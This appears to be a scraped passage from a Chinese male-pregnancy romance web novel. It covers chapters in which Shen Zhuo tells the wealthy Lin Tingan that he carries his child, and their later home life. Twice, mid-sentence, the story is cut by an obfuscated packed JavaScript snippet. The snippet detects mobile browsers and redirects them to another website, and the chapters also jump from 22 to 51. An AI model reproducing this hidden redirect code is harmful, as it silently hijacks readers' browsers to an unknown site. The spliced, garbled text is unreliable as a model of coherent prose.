沈茁捂着胸口,他好难过好难过,在这一刻他终于明白了,为什么孟也被伤那么深也还是想回到冯尽身边。 人一旦尝过甜头,就会害怕苦。 嗓子哭到发哑,沈茁深呼了一口气,他看向窗外,黑夜里有一轮圆月悬在空中。 他突然想出去走走,去哪里无所谓,他得出去走走。 双脚踩在水泥地上时,沈茁的心情得到了一丝缓解。 夏夜依旧闷热,鸟鸣与虫叫在叫嚣。 浑然地打了个车,沈茁脱口而出报了个目的地,开车的师傅扣下计价器,屏幕上的时间由零开始递增。 他看向车外,上一秒说的话,这一秒就忘了是什么。 要去哪,这辆车要去往何地,沈茁不知道。 他是乘客但却不知归途。 司机透过车内后视镜,看到后座的乘客眼神发木,怔怔看着一个地方,于是好心打开了空调。 凉风里混着一股味道,刺激得沈茁想吐,他捂住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799732|175071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴心脏砰砰直跳。 好在很快到了目的地,下了车沈茁立刻蹲在路边干呕。 吐不出来的感觉是最难受的,因为这样的呕吐没有尽头,不会在东西呕出来的那一刻得到解脱。 缓了好几分钟,这场酷刑才终于结束。 沈茁站起身,几十层高的写字楼巨人一样立在眼前,几个熟悉的大字在最高处闪闪发光。 他竟然走到了林庭安的公司,这个他偷偷跟踪林庭安时来过许多次的地方。 沈茁有一瞬的茫然,他来这干什么? 然后他想,要等到天亮吗? 等谁,他会接受吗? 视线慢慢下移,沈茁看到公司楼下的面包店外站了个小孩。 一个梳着马尾辫的小女孩,正趴在店外的玻璃上看着货架上精致的面包流口水。 “你想吃面包吗?”沈茁走过去问。 小女孩没说话,大大的眼睛看向他,点了点头。 沈茁这才发现,小女孩身上的衣服是破的,短袖脏兮兮的紧锢在小女孩身上,她的裤子又长又大,走几步就会掉的样子。 小女孩好像感冒了,鼻涕一抽一抽,有一部分甚至黏在了嘴唇上。 沈茁掏出口袋里的纸巾,帮小女孩擦掉了鼻涕,然后去面包店买了一袋三明治外加一盒毛巾圈和几个大泡芙。 “送给你,”他把装面包的袋子递到小女孩面前,“哥哥给你买的,免费的。” 小女孩好像有些不敢相信,用怯懦的眼神盯了沈茁许久,确认了这是真的后,小女孩的眼睛瞬间亮了,立刻兴高采烈地接过了袋子。 沈茁直起身,想要摸摸小女孩的头。 刚抬起手,一个中年女人突然冲过来,一把扯过了小女孩。 “不是跟你说了在摊子上等着,谁让你乱跑的!” 女人声嘶力竭地喊着,凌乱又充满油渍的头发在空中乱飞,小女孩被吓得大哭。 女人踢了小女孩一脚,连推带搡把小女孩推向远方,边走边骂:“真是个扫把星,我看摊子容易吗,怎么你就这么不省心,怎么就管不住腿到处跑!” 一大一小两个身影渐行渐远,哭声与咒骂却一直萦绕在沈茁耳边。 他的心脏被狠狠击中了。 他突然开始害怕,自己的孩子以后会变成这样。 天哪,这太可怕了。 沈茁太知道一切痛苦的来源皆因为贫穷,一个充满爱的母亲,如果长久处在经济的重压下,她也会变得暴躁,会将自己无法诉说的苦闷转化为暴力,施加给孩子。 这会不会是自己的未来? 沈茁感到了前所未有的恐惧,身体因为这个想象而颤栗,双手止不住地发抖。 他有种冲动,想要立刻冲进这栋大楼,冲到林庭安的办公室,告诉他一切,跟他说他得养自己养孩子。 就算没有爱,总要给些钱。 双脚抢先做出了行动,沈茁缓慢移动着,目光落在最高层亮着的灯上。 一步,两步,三步…… 突然,一阵轮胎摩擦地面的声音传来。 循声看去,深黑色的布加迪稳稳停在路边。 车门快速打开,一双大腿先迈了出来,精致的皮鞋加上高定西装,再往上是一张阴云密布的脸。 林庭安表情严肃,帅气的脸有一半隐匿在夜色里,另一半直直照进了沈茁眼中。 啪嗒啪嗒 空中突然下起了小雨,雨滴打在沈茁脸上,让他恢复了几分神志。 夏季的雨变化多端,由小变大不过一瞬。 司机见状立刻从车里拿出了一把伞,撑在林庭安的头上。 沈茁看到他加快脚步,大步流星地往公司走。 这是最好的时机,不可以错过,不可以! 沈茁猎豹一样朝林庭安冲了过去。 在这一刻,什么都不重要了,他的脑子里只有两个字——坦白。 22. 第 22 章 那晚在保马苑,林庭安跟秦圳的交流并不怎么愉快。 他一只脚刚买过门槛,秦圳就开门见山地赔罪:“林老弟,实在抱歉,我家老爷子发了话,这批新设备看在方汉明的面子上,也得签给姓岑那小子。” 林庭安对这个结果并不怎么意外,秦圳这人雷厉风行,几天不来联系他就已经说明了一切。 他没再尝试争取,笑了笑坐下跟秦圳喝了一晚上酒,就当是跟朋友小聚谈心。 那晚两人都喝多了,秦圳酒后吐真言,说有个跟了他两年的小孩最近在闹脾气。 事情闹得有点大,被家里知道了,态度强硬要把人送走,他不想跟家里闹得太难看,算是一物换一物,用这笔生意换个清净。 林庭安表示理解,他向来克制,这回破天荒醉酒,借着酒劲躺在包厢的罗汉床上空想。 脑子不怎么转,迷迷糊糊就想到了那个跟自己一夜情的小孩。 浸淫商海多年,醉酒状态下发生的事情林庭安多多少少都会几个大概,那次是他心急着了道,喝的东西不干净,醒过来之后竟记忆全无。 要是那小孩没提前溜走,他一睁眼就见着人,说不定也会放在身边养着。 接着林庭安想到这批到手边又飞走的设备,林氏其实没有发展医疗行业的打算。 是林庭安自己突发奇想,前几年借着行业东风开了家私立医院。 那是家儿童医院,建在京都最繁华的街区。 说是医院其实也有一部分收容所的功能,林庭安自知自己这辈子不会有孩子,有时候想想难免觉得落寞,就有了开儿童医院的想法。 不为别的,就是突发奇想,想给自己下辈子攒点孩子运。 之所以如此费心要争取这批设备,是因为院里最近突然多了很多小患者,都患病上同一种那个年纪的孩子几乎不会得的病。 荆源这批新设备,经院里一众专家研讨之后,被定为了重点争取对象。 林庭安最开始并没有垄断的想法,但岑复春突然跳出来横插一脚,张嘴就是几年内的独家使用权。 他气得牙痒痒,被激起了斗志,亲自联系了荆源的老总。 不成想因为方汉明这层关系…… 林庭安靠在软榻上,身后靠着的是最好的绣娘手工缝制的百子莲抱枕。 百子莲寓意多子多福,林庭安鼻息间不断呼出酒气,大脑思绪乱飞。 如果他有个孩子呢? 这个想法一出来,林庭安自己先下了一跳。 他这是到年纪了? 竟然会开始幻想这种事情。 凌晨两点,林庭安被人扶着回了家。 只睡了不到三个小时,天蒙蒙亮时一通电话打过来,对面只说了一句话,他的酒瞬间醒了。 “老爷子快不行了,速归。” 林庭安听到这话时大脑嗡的一下,紧接着是一片空白。 脑子混浆浆的状态持续了半个小时,看到ICU亮着的灯时,他瞬间清醒。 医院如此肃静的地方,此刻乌压压站了一堆人,林建群和唐卿站在最前面,身后是一众旁支。 就连林岩这个不省心的表哥,都紧赶慢赶从国外飞了回来。 那么多人,平日里不见出来,到了争家产的时候却一个个雨后春笋般冒出来,在手术室门口鬼哭狼嚎。 为了钱权,这群人个个化身戏精,真是好一出大戏。 林庭安赶来时,众人的表情都变了。 他穿过一众男女走到最前面,厉声呵斥:“吵什么吵,老爷子还没死呢,你们给谁哭丧!” 众人你看看我我看看你,立刻噤了声。 不过这戏还是得演,大哭不行那就假模假式地小声抽泣。 总之,他们是为老爷子难过的,他们哭了就是尽了孝了,他们身上流着林家的血,那就得分到林家的肉。 “表弟,你这话说的,”林岩突然跳出来,高声道:“老爷子这几年身子骨不好,这病来得急,什么情况大家都心知肚明,你在这装什么清高?” “要我说你这个孙子当得最不称职,”林岩冷哼一声,“我人在国外,来的都比你早。” 林庭安从没把林岩放在眼里,看他咄咄逼人的样子如同在看一个小丑。 “王岩表哥,这事我也纳闷呢,”林庭安讥讽道,“老爷子才进手术室几个小时,你是怎么提前预知老爷子会发病的,难不成这事是你们王家干的?” 林岩的爷爷原本是老爷子的亲兄弟,后来跟狐朋狗友走上了歪路,老爷子帮着处理了许多烂摊子,闹到最后兄弟间起了龃龉。 老爷子的弟弟临到最后还不知悔改,他那一脉从此便被改随母姓了王。 “你!” 林岩黝黑干瘪的脸瞬间变得扭曲,他最不愿别人提起他的姓氏,林庭安这无疑是在提醒他,他连参与争夺的资格都没有。 其实大家都知道,林氏最后有百分之九十的可能会落到林庭安手里,但巨大的利益让他们哪怕头皮血流也要去争那百分之十的意外。 再不济,跟着吃点肉腥喝点肉汤也够他们一辈子衣食无忧。 从朝阳升起到夕阳西下,走廊里的光线明灭交替。 每个人都影子都被拉得老长,最后隐匿在黑暗中。 这是医院最顶层的抢救室,手术的医生也是最顶尖的专家。 林庭安抱着胳膊靠在墙上闭目养神,他对面是手术室紧闭的大门,门里面是他血浓于水的爷爷。 任何权利的让渡,都免不了你争我夺的恶俗戏码。 林庭安曾以为自己可以泰然自若地面对这一天的到来,但现在他的心还是会止不住发疼。 三岁时爷爷抱着小豆丁一样的他在老宅的后花园荡秋千,上小学时惹了祸第一时间就是去找爷爷。 初中跟人打架,把孙叔叔的儿子打进了医院,是爷爷帮他善的后。 高中开始尝试跟着林建群做生意,小试牛刀投资的第一个商铺赔了个底朝天,窟窿是爷爷帮他补的。 包括自己的性取向,要不是老爷子年纪大了身体不好,他一定会第一时间告诉这个老古董。 冥想中,林庭安突然睁开了眼,锐利的眼神看着慢慢打开的大门。 他第一个冲上去,紧紧盯着医生,“怎么样?” “算是暂时脱离危险了,”医生满头大汗,摘下口罩回答:“但是情况依旧不太乐观,术后要观察七十二小时,这七十二小时挺过去,才可以转到普通病房。” “辛苦了。”林庭安道。 他侧头看了眼身后的助理,助理会意将一张银行卡塞到了医生手里,接着打了个手势将医生请到无人处,按着林庭安嘱咐的交代全力救治老爷子。 那群人早被林建群“请”了出去,整个走廊只剩下了他们一家三口。 唐卿听到消息那一刻眼眶就红了,她转过身窝在林建群怀里低声哭了起来。 “这是好事,”林建群一颗心终于放了下来,他立刻吩咐林庭安:“庭安,你去公司把那份文件取回来,快去快回。” “是啊,”唐卿带着哭腔说,“这里我跟你爸看着,你去公司亲自去取,这事马虎不得。” “好。”林庭安点头。 他不舍地远远看了老爷子一眼,赶忙乘电梯下了楼。 司机早就等在路边,黑西装包裹的男人快步上车,同样深黑色的车子箭一样冲进了夜色里。 那份文件是什么大家都心知肚明,林庭安只需把东西取回来,守在老爷子的病床前等着他醒来,只要老爷子还有意识,在摄像头和公证律师的见证下签了字,一切就都结束了。 车子停在公司门口,林庭安刚下车就下起了雨。 司机立刻帮他撑伞,助理从副驾驶下来跟在他身后,提醒:“林总,咱快进去吧。” 林庭安看着鳞次栉比的高楼,深深吸了口气。 乌云迅速在空中聚集,压抑如悬空的大山,将芸芸众生笼罩其中。 雨越下越大,时间不等人,林庭安健步走向公司。 刚走了几步,突然有什么东西冲了过来。 腰被人抱住,他下意识伸手去接,撑伞的司机吓了一跳,黑色的雨伞慢慢倾斜,砰一声砸在地上。 豆大的雨滴打在林庭安的背上,他低头去看,只看到了一个毛茸茸的脑袋,再向下便是白皙的脖颈。 沈茁害怕到全身颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799733|175071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栗,在抱住林庭安的那一刻,他的肚子猛地一疼,像被人用冰锥狠狠砸了似的。 “我……我……” 沈茁紧紧抱着林庭安的腰,仰头去看他的脸,然而密集的雨水胶水一样迫使他完全睁不开眼,睫毛被雨水黏在一起,他只能看到林庭安模糊的脸型。 林庭安心中一凛,他认出了这张脸,那个抢了他袖扣,把他骂了一顿又拉黑的小孩。 “林总!” 助理见状立刻冲上前去,眼疾手快用力掰开沈茁的手,将他从林庭安身上拉了下来。 沈茁全身脱离,倒在了雨里。 接触到地面的瞬间,他用手臂撑了一下,生生磨掉了一层皮,然而比手臂更痛的是他的肚子。 “宝宝……宝宝……” 沈茁模糊间仿佛看到了被雨水冲掉的鲜血,那是从他身下流出来的。 他孱弱地喃喃,声音隐匿在雨声里,脸颊贴着冰凉的地面,目光直直看着那个高大的身影。 沈茁突然想到了那个雪夜,姥爷死的时候,爱的消失是他一点点感受到的,从没人叫他起床开始。 他好希望这个人可以拉他起来,不要漠视他,不要就这样走开。 “林总,这……”助理凑到林庭安身边,看着倒在地上的沈茁,突然惊呼:“他好像流血了!” “我刚才明明没怎么用力啊,”助理被吓傻了,“林总,这人突然冲出来,不会是那群人派过来……” 说着,林庭安伸出手打断了助理的话。 他走过去,蹲下身去听沈茁的声音,“你怎么了,慢慢说。” 沈茁哭着勾住林庭安的脖子,用尽全身的力气,用自己的脸贴上他的,“这是你的孩子,是你的。” “什么孩子?”林庭安揽住沈茁的腰,将他瘦小的身体抱进怀里。 有一个惊人的念头在他脑子里升起,他不可置信,也无法相信,但是…… “那晚是你?”林庭安斩钉截铁。 “是我?”沈茁已经开始迷糊,他的脑子就像生锈的机器,想快点转起来却无比艰涩。 “是我的,你……”他紧紧贴着林庭安的心脏,拉住林庭安的手贴在自己的肚子上,“你摸一下他,我不知道该怎么说,但是我真的怀了你的孩子。” 闻言,一旁的司机和助理都呆住了。 司机像是听了什么惊天秘闻,直接傻了眼,定在原地一动不动。 助理最先反应过来,“林总,咱们还是先去取文件吧,这太离谱了,肯定是有人想搞事情故意的。” 林庭安看着沈茁的眼睛,大手抚上沈茁的肚子,好像真的有什么东西在跳动。 那是……他的孩子? 一个男人,怀了他的孩子? 几乎没有权衡,林庭安一把抱起沈茁,边上车边吩咐:“小张,你去公司取文件然后亲自送到我爸妈手上。” “老赵,你现在立刻开车送我们去中心医院。” “啊……好好好。”老赵张大了嘴,连连应声。 小张焦急地看着远去的车子,话噎在喉咙里,最终全都化成叹气。 他的老板,怎么关键时刻掉链子啊! 算了不管了,小张握紧拳头,热血瞬间冲上颅脑,就让他完成这个伟大的使命吧! 车上,沈茁树袋熊一样窝在林庭安怀里,二人都的湿漉漉的,林庭安抱着人,思绪不断被冲击。 他确实不该在这个节骨眼上,选择先送这个来路不明的小孩去医院。 这太离谱了,男人怎么会怀孕呢,况且他只有那一晚。 但直觉却告诉他,他必须信,稍晚一刻一切都将无法挽回。 “林……先生,”沈茁紧紧握着林庭安的手,虚弱地问:“你喜欢孩子吗?” 这只是一句平平无奇的询问,可林庭安却仿佛感知到了一股巨大的悲鸣。 “我……”他感觉怀中人的生命在快速地流逝,“喜欢。” 林庭安吐出这两个字,心中一片慌乱。 “开快点!”他盯着驾驶位的司机,怒吼。 “好!” 司机吓得一激灵,握着方向盘的手抖了抖,死死向下踩住油门。 50-60 第51章 林庭安和林建群出来时, 沈茁正贴在唐卿身边喝牛奶。 他双手握着柯林斯杯,小口啜饮杯子里的牛奶,边喝边用笑弯成月牙的眼睛盯着唐卿看。 唐卿嘴角噙着笑,同样用鼓励的目光望着沈茁。 那样子就像幼儿园的老师在看一个听话喝奶的小朋友。 林庭安怎么看都觉得诡异, 他看了林建群一眼, 走到沈茁身边摸他的脑袋, “慢点喝,别呛到。” “唔……” 沈茁仰起脸, 亮晶晶的眼睛看向林庭安, 他将牛奶举过头顶, “我喝不下了。” “给我吧。” 林庭安十分自然地接过杯子,将里面剩的不到三分之一的牛奶一饮而尽。 “小沈啊,我跟庭安挑了个几个保姆以后照顾你,”林建群轻咳道, “你要不要再看看, 哪个合眼缘就留下。” 沈茁不喜欢家里有太多人,他总觉得不自在。 想要开口拒绝, 可转身一看到唐卿满怀期待的脸, 沈茁就一个推辞的字都说不出了。 “你们定就好, ”沈茁舔掉唇上的牛奶渍,扯出一抹笑,“我都可以。” “我跟爸商量了一下,家里人太多也不好, 就挑了两个留下。” 林庭安坐到沈茁身边,握住他的手,“你觉得呢?” “可以呀。” 沈茁松了口气,还好没搞一大堆人在家里, 不然他真的应付不来。 “妈妈,你说呢?”沈茁转头问唐卿。 “要我说人多了也吵,”唐卿语气和善,“留两个正好,不然难免会有磕碰。” “妈说的对,那就这么定下吧。”林庭安道。 几人三言两语,就将事情定了下来。 唐卿来这儿就是为了这事,定下了保姆,她心中的石头落了地,又开始交代林庭安沈茁孕期要注意的问题。 林庭安在一旁仔细听着,没一会儿就到了饭点。 唐卿和林建群亲眼见到了人也算是达成了目的,怕沈茁不自在就没留下吃饭。 临走前,她反复叮嘱林庭安怀孕期间不准再碰沈茁。 林庭安一个头两个大,私事被拿到明面上反复提及,任谁都会不舒服。 他现在只想赶快把人送走,不管唐卿说什么都一一应了下来。 一行人闹哄哄地来,又闹哄哄地离开。 不一会儿,屋内又恢复了平静,林庭安看着满地的补品开始犯难。 他让沈茁挑了几个喜欢的留下,剩下的都被王秋梅放进了储物间。 留下的两个阿姨都是三十出头的年纪,林庭安把她们交给王秋梅安排,自己带着沈茁回了卧室。 “我喜欢唐阿姨。” 卧室里,沈茁坐在床尾凳上吃蛋糕,林庭安正站在床边换新的四件套。 “刚才不还叫妈,怎么才这么一会就变了?” “我不好意思在你面前叫。”沈茁小声嘟囔。 “有什么不好意思的?” 林庭安停下手里的动作,走到沈茁面前蹲下,仰头凝视他的眼睛,“我真想知道我妈到底做了什么,能让你这么心甘情愿地喊她妈?” “阿姨就是很像妈妈。” 沈茁边吃蛋糕边说:“而且阿姨给我改口费了,一个超级大的红包。” “所以是因为改口费?”林庭安若有所思。 当然不只是因为改口费! 沈茁心想,是因为他想要妈妈,他享受有妈妈疼爱和关心的感觉。 但是这些他没法直接当着林庭安的面说,只能含糊地点点头,希望这事早点翻篇。 林庭安垂眸思考了一会,突然起身走出了房间,再回来时手里多了个东西。 沈茁满头问号,看着林庭安朝自己走过来。 “拿着,改口费。” 手心蓦地被塞进了一张卡,沈茁正疑惑,就听林庭安开口道:“叫老公。” 短短三个字,惊得沈茁瞪大了眼睛。 “叫老公。”林庭安又重复了一遍。 他半蹲下身,视线与沈茁齐平,猎豹般犀利的眼神直直扎进沈茁心里。 沈茁懵了,林庭安的思维太跳跃,他完全跟不上。 “为什么不叫?” 林庭安立刻沉下脸,语气低落:“为什么不愿意改口,因为我不像老公?” “不是不是!” 沈茁连忙解释,“我没说你不像老公。” “这张卡里的钱够普通人花一辈子,都买不了你叫我一声老公吗?” 林庭安挑眉,近乎逼迫地说:“改口费也给了,你也承认我是你老公,那为什么不叫?” 沈茁:……? 他总觉得哪里不对,但又想不出到底是哪里不对,刹时急得涨红了脸。 想来想去,沈茁选择放弃挣扎。 老这么害羞也不是个事,他总得迈出这一步。 “老……老公。” 沈茁艰难地吐出两个字。 “乖,”林庭安奖励似的在沈茁脸上亲了口,继续哄他:“多叫几声,老公喜欢听。” 沈茁顶着张红透了的脸,又喊了几声。 “真是乖孩子。” 林庭安低头咬住他的唇,将沈茁口腔里的甜奶油搜刮了个干净,末了说了句:“真甜。” 沈茁被他这一番操作搞得晕头转向,连手里的小蛋糕都不敢吃了。 不过,这么喊了几遍后,他似乎真的对这个称呼没那么排斥了。 沈茁深刻怀疑林庭安学过心理学,不然怎么这么会难捏他! “以后就搬过来跟我一起睡主卧。” “?” “老公后天就要回去上班了,想我了可以给我打电话或者微信。” “……” “小蛋糕不可以多吃,每天只能吃一个。” “!” “不可以自己出门,有事出门要跟我报备。” “?!” “不可以再叫我林先生,以后都要叫老公。” “……” “你很霸道,”沈茁冲过去,咬林庭安的脖子,“我为什么不能自己出门?” 林庭安哼笑,顺势将沈茁抱起,托着他的屁股轻轻拍了下。 “别以为我不知道,你上次自己出去寄快递,差点热中暑。” 沈茁自知理亏,在林庭安怀里蛄蛹两下,不吭声了。 半晌,他幽幽开口:“我每天吃一个小蛋糕,孩子可以再吃一个吗?” 林庭安真是被沈茁给可爱到了,他倍感无奈,舍不得拒绝又怕沈茁吃伤了。 权衡之下,只好后退一步:“一个半,不能再多了。” “好。”沈茁很容易满足,尝到甜头就乐得合不拢嘴。 他吧唧在林庭安脸上亲了下,“你真好。” 林庭安心里一阵服帖,抱着沈茁的胳膊不断收紧。 此时此刻,哪怕沈茁要求每天吃一百个小蛋糕,他恐怕都会满足。 家里多了两个阿姨,沈茁搬卧室的速度快了不少。 当晚他就成功搬进了主卧,小了一码的衣服跟林庭安的西装衬衫挂在同一个衣帽间。 二人都生出了种正在过日子的踏实感。 只不过,当天晚上,两人都失眠了。 夜里,沈茁翻来覆去睡不着,酸麻的痛感从脚趾处开始,逐渐蔓延到了整个脚掌。 他忍不住哼出声,林庭安察觉到立刻起床帮他捏脚。 “抽筋了?” “嗯,好像是。”沈茁疼得说话都艰难。 林庭安心里着急,却也无可奈何,只能加重手上的力道。 沈茁原本还觉得难受,但随着林庭安渐入佳境地揉捏,他竟渐渐睡了过去。 林庭安见沈茁睡着了,又继续按了几分钟,然后帮他盖上被子,走到客厅给邢远打了个电话。 开始探讨如何缓解探讨孕夫脚抽筋的问题。 这时候两人还不知道,这个普通的夜晚只是沈茁后期强烈孕反的一个预兆。 林庭安又在家陪了沈茁一整天,第二天就回了公司,正式开始处理堆成山的工作。 两人的生活逐渐形成了默契。 比如沈茁总是会在林庭安出门的前几分钟醒来,他会在清醒过来后立刻翻身下床。 连鞋子都来不及穿,跑到门口光着脚丫抱住林庭安。 这时候林庭安会十分配合地弯下腰,让沈茁给他一个早安吻。 然后他会站在门口,看着沈茁哒哒哒地跑回卧室去睡回笼觉, 又比如,沈茁的脚常常会在深夜抽筋,林庭安已经形成了习惯,会在十二点出头的时候惊醒,摸着黑给沈茁捏脚。 沈茁的肚子也越来越大,林庭安每天都会给他拍张照片记录。 两人闲着没事的时候也会思考,宝宝以后叫什么名字。 大名叫什么,小名叫什么? 沈茁一个人在家经常觉得无聊,这时候他就会跑到林庭安的书房看书。 不是想打发时间,也不是想获取知识,而是看一会他就睡着了,比褪黑素都管用。 唐卿也时常会带着许多东西来看沈茁,完全把他当成了自己的孩子。 她一坐就是半天,给沈茁平淡的生活增添了一丝人气。 日子过得很快,偶尔枯燥但却异常温馨。 眨眼,京都的银杏又黄了。 十月初,气温骤降,俨然已是深秋。 林庭安坐在办公室看文件,桌上的手机突然亮了下。 是沈茁发来的消息:【今天跟王阿姨出去散步,已经回家了。】 林庭安紧皱的眉头瞬间被抚平,这几天他连续加班,精神压力很大,甚至有一天直接睡在了公司没回家。 这是他正式接手公司后,洽谈的第一个几亿的项目。 林庭安从前许多年都没有因为谈生意而这样焦虑过,他很有经商头脑,处理任何事情都得心应手。 但高处不胜寒,林庭安成为公司董事后,才真正读懂这句话。 对面也是扎根在皇城脚下的世家,家族底蕴不输林家。 跟林庭安谈生意的是陈家的小儿子——陈继乾。 今年刚满三十,不仅样貌出众年轻有为,而且也跟林庭安一样早早接手了家业。 两人都是京都的风云人物,对在一起谁也不让谁,谁也不服谁。 可谓是针尖对麦芒,谈判桌上火星四溅是常有的事。 在生意场上高度紧张的时候,林庭安就会想起沈茁,还有他没出生的孩子。 只要想起这两个人,他脑子里的疲惫就会一扫而尽,重新获得源源不断的能量。 今天上午,他刚结束跟陈继乾的最后一场谈判。 两人打了个平手,都在原有基础上做出了相应的让步,成功签了合同。 林庭安刚处理好收尾的工作,就收到了沈茁的信息。 他心情大好,立刻回复:【晚上回家给你带一个小蛋糕、一杯奶茶、一个盒泡芙,前提是晚上要乖乖喝燕窝,不能偷奸耍滑。】 沈茁几乎是秒回:【我保证乖乖喝燕窝!】 【你今天是很好的老公,我可以吃好多甜食!】 林庭安甚至可以想象到手机对面,沈茁馋的流口水的样子。 他平日里不拘着沈茁的吃食,把小孩养胖了不少。 但沈茁本来就瘦,尽管怀了孕并且不控制饮食,但两个月下来也只是达到了正常男性的体重。 身上有肉了,气色也好了很多。 林庭安对此很有成就感,比谈下几个亿的生意还要有成就感。 他关掉手机,打算立刻回家。 还没起身,张垣就进来了。 “还好赶上了,”张垣拍着胸脯,喘得上气不接下气,“您是不是忘了,晚上还有个同学聚会。” 林庭安一怔,他还真忘了。 “推了吧。” 他整理好身上的西装外套,拿起老板椅上的大衣就要往外走。 张垣见状赶忙拦住自家老板,“林董,这……这个不能推。” “您真是贵人多忘事,”他解释道:“这场同学聚会陈家那位也会去,您不是说生意谈完了也要联络感情,后面继续合作接洽起来也更顺畅。” 林庭安无奈扶额,他怎么把这事给忘了。 陈继乾比他大几届,但跟他是同一个大学的。 这次同学聚会有好几届的学生都会去,陈继乾刚好也在其中。 准确来说,今晚这场更像是校友聚会。 “我知道了,你出去吧,打电话叫司机过来。” “好嘞。” 张垣毕恭毕敬地关上门,林庭安把搭在手臂上的大衣往沙发上一扔,走到窗前给沈茁打了个电话。 沈茁正坐在沙发上看综艺,满心满眼等着林庭安回来。 他现在肚子已经很大了,邢远说要比正常孕妇五个月时的肚子大很多。 沈茁每天腰酸背痛,唯一的期盼就是林庭安回家帮他按摩揉腰。 于是林庭安的电话一过来,他就接通了。 “我要巧克力草莓森林玫果蛋糕!” 沈茁声音雀跃,语气里充满了依赖,他不自觉地撒娇:“你什么时候回来呀,我想让你抱着我看电视。” 林庭安心里愈加愧疚,柔声安抚:“抱歉,晚上有个同学聚会可能要半夜才能回家,我让人把小蛋糕送回家,你先吃好吗?” “啊,”沈茁的脸色瞬间晴转多云,声音里是掩饰不住的沮丧,“那好吧。” “我答应你,明天一定多陪你,带你出去玩。” “真的吗?”沈茁双眼放光,“那你一定说到做到,不能再放我鸽子。” “我保证,”林庭安郑重地说,“一定带沈茁小朋友出去玩。” “好!” 挂断电话,沈茁靠在沙发上畅想林庭安带他出去玩的场景。 他现在月份大了,出去必须要戴假发,假扮成女孩子。 平时都是王秋梅陪着他散步,林庭安还从来没有带他出去过呢。 想到这个沈茁有些生气,但是转念一想,林庭安每天工作那么辛苦,他心里的气就没了。 反而多了许多心疼。 沈茁能感受到自己越来越依赖这个男人了。 从前他不懂什么是爱,但现在似乎有了新的思考。 或许心疼和依赖就是爱? 第52章 今晚这场局是一个刚回国发展的ABC组的, 这个ABC的弟弟三岁回国读书,今年刚刚大学毕业,刚好跟林庭安一个学校。 他组这个局就是为了结交国内的世家子弟,以及各行各业的精英, 好为自己公司后续的发展铺路。 林庭安跟这个ABC可以说是素不相识, 完全是为了应陈继乾的邀约来的。 聚会的地点定在了京都最繁华的街区, 一家新开业的高端会所。 组局的人将整个顶层都包了下来,连天台都布置得纸醉金迷, 霓虹灯下每个人脸上的表情都蒙上了一层欢快的滤镜。 林庭安赶到时大家已经玩开了, 他在入口处拿了杯香槟, 边走边用目光寻找陈继乾的身影。 陈继乾这个人长得仪表堂堂,性格却冷得像座冰山。 沉默寡言、不近人情是外界对他最多的评价。 陈继乾跟林庭安最大的不同,就是林庭安虽然面冷但偶尔也会对外展露自己的情绪。 而陈继乾则面上和内里都是冷的,脸上常年带着冰霜, 一副生人勿进的样子。 几次交锋下来, 林庭安倒是生了几分想要结交陈继乾的意思。 他身边的亲友还没有这个性格的,要是能交个这样的朋友或许也不错? 还有一点就是, 林庭安已经开始筹谋去给自己还没出生的孩子铺路。 陈家近些年一直在发展海外生意, 跟林庭安后续的计划不谋而合。 而且听说陈继乾有个不到半岁的小儿子, 算下来跟自己的孩子相差不到一岁。 林庭安想好了,等孩子出生之后两家可以多走动走动,以后在生意场上都是助力。 绕过几个圆形沙发,林庭安直奔最里面的角落, 果然在墙角处最不显眼的位置看到了陈继乾。 “你迟到了。”陈继乾冷冷道。 “我的错,”林庭安笑着走过去,坐在陈继乾对面,给自己倒了一杯酒, “我自罚一杯。” 说完,他将杯中酒一饮而尽。 “这是我自家庄园酿的贡酒,有年头了,酒性很烈,悠着点。” “老远就闻到了酒香,”林庭安将空杯子放在鼻下闻了闻,“这酒少说也有三十年了吧?” “终于遇到个懂酒的,”陈继乾眼中闪着精光,言语间不乏赞赏,“这酒是我出生那年产的。” “到现在也有三十一二年了。” 陈继乾陷入回忆里,庄严肃穆的脸上出现了一丝裂痕。 林庭安见他主动带酒来,就知道陈继乾也有要结交自己的意思。 他干脆顺水推舟,主动将话题扯到了孩子上。 “听说贵公子的满月宴实在晖庄办的,可惜了当时我在国外出差,只派人送了份礼,没能亲自拜访。” “我再自罚一杯,”林庭安边说边端起酒杯,“就当是赔罪了。” “诶,用不着。”陈继乾压住林庭安的手。 “我家那个臭小子,才几个月大就整日啼哭不止,几个保姆哄都哄不住。” 一提到孩子,陈继乾这样的人物都不禁犯难,“搞得我现在都不想回家了。” 林庭安低笑,“再有几个月,我恐怕也要有这样的烦恼了,到时候一定跟陈哥取取经。” “你……” 陈继乾波澜不惊的脸上激起一阵涟漪,他用疑惑的目光看着林庭安,“你结婚了?” 林庭安失笑,他摇了摇头没说话。 早在一个月前,他就开始让人对外散播自己是同性恋的消息。 现在圈子里几乎人人都在猜测,林氏那个刚接手家业的当家人到底是不是gay? 更有甚者直接黑进了林庭安高中的校园论坛,扒出了他高中迷茫时期发的匿名贴。 关于这件事的讨论在一个月内迅速发酵,可谓是甚嚣尘上。 按照林庭安的计划,现在已经是时候开始传播自己有孩子的消息了。 不过这事只能他自己来,从生意伙伴开始,一点点渗透出去。 沈茁的身份太特殊,一个男人怀了孩子,说出去有谁会相信? 